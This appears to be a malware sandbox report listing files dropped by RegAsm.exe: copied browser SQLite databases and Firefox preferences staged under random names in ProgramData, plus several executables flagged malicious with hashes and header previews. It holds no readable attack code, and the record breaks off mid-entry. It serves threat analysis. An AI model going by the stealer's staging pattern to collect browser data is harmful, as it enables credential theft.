File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGCFCFBKFCFCBGDGIEGHJDAFHJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAKEBAKFHCFHIEBFBAFB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DBGIJEHIID.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	334376
Entropy (8bit):	7.985463298275865
Encrypted:	false
SSDEEP:	6144:dgqIdwwbWbN7Ps3jMJ1iCQNj2AFG5aFOcOIYcg8dWwkUf+OYEO:hNOjMD7QNSAgaFOj+GTEO
MD5:	2832FBDE1CF7EA83BD6FD6A4A5E8FE15
SHA1:	1CED7A749D257091E0C3B75605FD3BC005E531DE
SHA-256:	2B8BCD9D7D072FEB114E0436DC10AA80FDA52CDD46A4948EA1AE984F74898375
SHA-512:	C69F1197A0C74D057AB569D35C9AF675FC465CE6ABCC6C8FC32B316D3586871A426D7AB904C43827BE7413748F0F45F7F3689076CA031FD858A4A8ABF78B9299
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?(.f............................N.... ... ....@.. .......................`............`.....................................K.... ..................(&...@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H........................................................................tLq-~..S..I..9..........R.....{.d..lo.53. ..B.Lf.5...b#.8F.x..i.u.ue.+....(.uy.q..~...8.}#.....x.RN..J........_.l~..20....,.Z.E....#...i......w.H..............D.....Fc...../..\|.*.w.....o....2...J..<..A(...f.Rn.J....J.5...:.........u.Hb($.G..G.x.x!....J,...i..4....8.\G......"[x..d....Y..<.v.......~.<.]..V<.gX.F..............&......p.Z.....j.x.A.`z..."[..."}..%)...!..".)69E.... G..4

C:\ProgramData\EBFBKFBGIIIDGDGCFCGIIDAKFC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGDGCGCFHI.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	414248
Entropy (8bit):	7.989507251331655
Encrypted:	false
SSDEEP:	12288:XY1HgTKqPXxbx28l1ukOy325R4RQMJnJ9w6EO:XY1AtPB0KwkU5GRnJnxt
MD5:	38DABC7063C0A175A12C30BD44CF3DBC
SHA1:	6D7AABEBD8A417168E220C7497F4BC38C314DA3B
SHA-256:	DE664956D799E59E1CCA0788D545922EE420E3AFDCF277442F148F52BC78DF89
SHA-512:	674760AD37CF7886CA4CD786E4D1966D3827FDAD008A85A125E18BD474D073DAE8D4296427253BB86E78D3173A300611EE5EB2E01C1F968700679350FC17A24D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...\(.f................."..........N@... ...`....@.. ....................................`..................................@..K....`...............,..(&...........>............................................... ............... ..H............text...T ... ...".................. ..`.rsrc........`.......$..............@..@.reloc.............................@..B................0@......H.........................................................................;.8.`..w.........r.b..... ..C.GA..~zxF.c.@Qe..8.....8$..a...N..!Q.4f...\.....d..a..e94...^Q8f.v....w.W..wH.kQ...,..3.A$#...P....)..S..o...b+gY.\o.....5.m.)..2.t.5.C..&z7....-.D...q!.....o........W2F...n;..~.9.....q4.l.V...O.p.l..m}.'...:.E..../%2..._..g...=.7.......m.......0^.hc..z$..c..s.?..`t6..@..BM......."vC.;'+d...>.V.[.I..H%"......w.E.....Y.....F.c........M...t..\.Q1.Dw

C:\ProgramData\FIJKEHJJDAAK\AEBGHD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJKEHJJDAAK\BGDAAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FIJKEHJJDAAK\CAKKEG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJKEHJJDAAK\CBAKEB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJKEHJJDAAK\EBGCBA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJKEHJJDAAK\FIIIIJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJKEHJJDAAK\GDGDHJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJKEHJJDAAK\GDGDHJ-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJKEHJJDAAK\HIIEGH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJKEHJJDAAK\IEHDBG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJKEHJJDAAK\IEHDBG-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJKEHJJDAAK\JJKJDA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJKEHJJDAAK\KECBKK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEGHJEGHJKFIEBFHJKKKFHCFH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEHJDHC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDHJEBFBFHJECAKFCAAK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKKECBGIIIEB\AAAAKJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKKFIIEB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECBKKEBKE.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	380456
